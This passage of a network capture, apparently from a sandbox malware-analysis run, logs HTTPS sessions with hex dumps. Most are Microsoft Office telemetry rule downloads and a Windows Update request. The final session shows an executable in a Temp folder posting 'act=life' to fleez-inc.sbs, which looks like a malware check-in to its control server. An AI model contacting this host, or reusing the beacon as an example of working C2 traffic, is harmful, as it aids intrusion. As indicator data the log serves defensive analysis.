2024-11-12 20:22:07 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 20:22:07 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: 47d81796-701e-0021-2403-2d3d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T202207Z-16547b76f7frbg6bhC1DFWr5400000000g2000000000agfr x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 20:22:07 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.4	49795	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 20:22:07 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 20:22:07 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 20:22:07 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 2e90e071-a01e-0098-64a3-348556000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T202207Z-15869dbbcc6sg5zbhC1DFWy5u80000000870000000001xu9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 20:22:07 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.4	49796	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 20:22:07 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 20:22:07 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 20:22:07 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 8d97175c-301e-005d-0fa7-34e448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T202207Z-15869dbbcc6qwghvhC1DFWw7e800000001f000000000aags x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 20:22:07 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.4	49797	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 20:22:07 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 20:22:08 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 20:22:07 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 7cdefebb-b01e-0070-2ca7-341cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T202207Z-17df447cdb5lrwcchC1DFWphes0000000cm0000000008ewz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 20:22:08 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	49799	4.245.163.56	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 20:22:08 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=RRmGy1p57v2AkWc&MD=pMuuV+bZ HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-12 20:22:09 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: e722008e-520a-40af-b0f3-d7dfd35073ca MS-RequestId: a96fb51d-0231-4427-a0c2-34d470fc6d3b MS-CV: Xk6wBN0SfU+x239h.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Tue, 12 Nov 2024 20:22:08 GMT Connection: close Content-Length: 30005
2024-11-12 20:22:09 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-11-12 20:22:09 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.4	49801	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 20:22:08 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 20:22:08 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 20:22:08 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 03686dcf-301e-0099-31a0-346683000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T202208Z-17df447cdb5wrr5fhC1DFWte8n0000000d1000000000e0wa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 20:22:08 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.4	49800	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 20:22:08 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 20:22:09 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 20:22:08 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: c6b44c52-001e-0028-1ef0-2cc49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T202208Z-16547b76f7fj897nhC1DFWdwq40000000g200000000038ht x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 20:22:09 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.4	49802	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 20:22:08 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 20:22:09 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 20:22:08 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: 1d5973b4-701e-0050-2a24-326767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T202208Z-16547b76f7f2g4rlhC1DFWnx880000000fyg00000000rfyh x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 20:22:09 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.4	49804	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 20:22:09 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 20:22:09 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 20:22:09 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 7bd7c1b9-c01e-002b-04a8-346e00000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T202209Z-15869dbbcc6xcpf8hC1DFWxtx00000000nn0000000002wvd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 20:22:09 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.4	49803	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 20:22:09 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 20:22:09 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 20:22:09 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: 84619de9-001e-0017-36a2-340c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T202209Z-15869dbbcc6rmhmhhC1DFW3r2c00000000q000000000qzyu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 20:22:09 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.4	49805	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 20:22:09 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 20:22:09 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 20:22:09 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: db719d09-901e-005b-33cb-322005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T202209Z-16547b76f7fq9mcrhC1DFWq15w0000000g3g00000000cp8f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 20:22:09 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	49806	172.67.150.243	443	7944	C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 20:22:12 UTC	260	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: fleez-inc.sbs
2024-11-12 20:22:12 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
